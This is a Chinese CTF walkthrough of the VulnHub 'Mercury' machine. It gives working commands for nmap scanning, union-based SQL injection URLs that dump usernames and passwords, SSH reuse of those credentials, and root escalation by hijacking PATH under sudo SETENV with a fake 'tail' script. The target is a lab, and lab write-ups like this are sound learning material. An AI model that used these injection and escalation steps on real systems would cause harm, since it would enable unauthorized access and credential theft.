IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> 网络协议 -> vulnhub The Planets: Mercury -> 正文阅读

[网络协议]vulnhub The Planets: Mercury

渗透思路:

nmap扫描 ---- 从404页面获取网站路径 ---- sql注入获取系统用户名和密码 ---- base64解码得到另一个系统用户密码 ---- sudo SETENV提权

环境信息:

靶机:192.168.101.52

攻击机:192.168.101.34

具体步骤:

1、nmap扫描

sudo nmap -sV -sC -p- 192.168.101.52

扫描到22端口ssh,以及8080端口,http-proxy,从扫描结果可以看到,状态码404和200的时候,响应报文的内容有显著不同。

2、404页面泄露网站路径

访问http://192.168.101.52:8080,没什么收获,只是说网站还在搭建

访问一个不存在的页面,比如我这次误打误撞根据nikto的扫描结果访问了http://192.168.101.52:8080/SilverStream,触发了404页面,根据该页面的信息,只有三种链接是可以访问的:

  1. http://192.168.101.52:8080
  2. http://192.168.101.52:8080/robots.txt
  3. http://192.168.101.52:8080/mercuryfacts/

第一个链接看过了,没啥营养,dirb扫描也没扫出什么鬼;

第二个如下所示,也没什么营养

访问http://192.168.101.52:8080/mercuryfacts/试试,终于看到点像样的东西了

点击Load a fact,来到http://192.168.101.52:8080/mercuryfacts/1/

注意url,一开始我想到的是既然有1就可能有2,3,4……没准哪个文件中有敏感信息,然后发现果然1~8都有,不过很可惜,都是关于水星的知识,没啥有用的。

点击See list,来到http://192.168.101.52:8080/mercuryfacts/todo

这里面有两个重要信息:

  1. users表有用户认证信息
  2. 网站目前是直接和mysql交互的

3、sql注入获得系统用户名和密码

浏览器地址栏尝试输入发现有sql报错信息,并且非常详细

从下图的sql语句可以知道3件事:

1、sql语句拼接用户输入参数,存在sql注入(虽然已经知道了)。

2、不需要闭合引号。

3、

http://192.168.101.52:8080/mercuryfacts/1/显示的查询结果只有一列

下面开始进行sql注入,目标是获得用户名和密码,没准可以用于ssh登录。

由于已经知道存在users表,因此首先浏览器输入如下payload获得users表的所有列名

http://192.168.101.52:8080/mercuryfacts/1%20union%20select%20group_concat(column_name)%20from%20information_schema.columns%20where%20table_name='users'%20and%20table_schema=database()/

?从上图可知users表的列有id,password和username。

再在浏览器中输入如下payload得到users表中的所有username和对应的password

http://192.168.101.52:8080/mercuryfacts/1%20union%20select%20group_concat(concat(username,0x7e,password))%20from%20users/

得到几对用户名密码:

john:johnny1987

laura:lovemykids111

sam:lovemybeer111

webmaster:mercuryisthesizeof0.056Earths

进行ssh登录尝试,发现只有webmaster能登录

ssh webmaster@192.168.101.52

webmaster家目录下user_flag.txt中得到一个flag

4、base64解码得到linuxmaster用户密码

进入/home/webmaster/mercury_proj目录,发现有个文件叫notes.txt

查看到其内容如下

看起来像是用户名和密码,除了当前用户webmaster的,还有linuxmaster的。

密码像是base64编码的,解码一下linuxmaster的密码:

echo "bWVyY3VyeW1lYW5kaWFtZXRlcmlzNDg4MGttCg==" | base64 --decode

得到linuxmaster的密码为mercurymeandiameteris4880km

尝试用linuxmaster用户进行ssh登录,登录成功

5、sudo SETENV提权

linuxmaster用户shell下输入

sudo -l

并输入密码mercurymeandiameteris4880km,发现其sudo权限是

(root : root) SETENV: /usr/bin/check_syslog.sh

看一下/usr/bin/check_syslog.sh的内容

内容很简单,就是用tail命令看/var/log/syslog的尾部10行。

之前没见过sudoers中配置SETENV的。

网上查了一下,发现sudo运行时默认会启用env_reset选项将命令行设置的环境变量复原,而SETENV会允许用户禁用env_reset选项,允许sudo使用当前用户命令行中设置的环境变量sudo+SETENV(环境变量)提权 - 隐念笎 - 博客园)。

这样一来,就可以自己写个提权的脚本,命名为tail,然后将其所在目录设置在$PATH的最前面,这样使用sudo命令执行/usr/bin/check_syslog.sh的时候,系统调用的tail命令实际上是我自己写的提权脚本。

提权脚本很简单,内容就是/bin/bash

echo "/bin/bash" > tail

然后给它可执行的权限

chmod +x tail

然后设置环境变量,把当前目录(linuxmaster的家目录,也是提权脚本tail所在目录)放在$PATH变量最前面

export PATH=.:$PATH

最后sudo执行/usr/bin/check_syslog.sh

sudo --preserve-env=PATH /usr/bin/check_syslog.sh

立刻提权到root

获得root的flag

题外话:

虽然网站目录扫描对这个靶机没啥意义,但是这次遇到了gobuster的一个之前没遇到过的功能,所以想记录一下。

简单来说,gobuster默认只不显示404的扫描结果,但这次显示了太多的301,其实是无意义的结果,可以用-b把无意义的状态码排除掉,就像下面这样:

?
gobuster dir --url http://192.168.101.52:8080/mercuryfacts/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -b 404,301

?

  网络协议 最新文章
使用Easyswoole 搭建简单的Websoket服务
常见的数据通信方式有哪些?
Openssl 1024bit RSA算法---公私钥获取和处
HTTPS协议的密钥交换流程
《小白WEB安全入门》03. 漏洞篇
HttpRunner4.x 安装与使用
2021-07-04
手写RPC学习笔记
K8S高可用版本部署
mySQL计算IP地址范围
上一篇文章      下一篇文章      查看所有文章
加:2022-04-01 23:48:22  更:2022-04-01 23:48:55 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年11日历 -2024/11/26 5:48:49-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码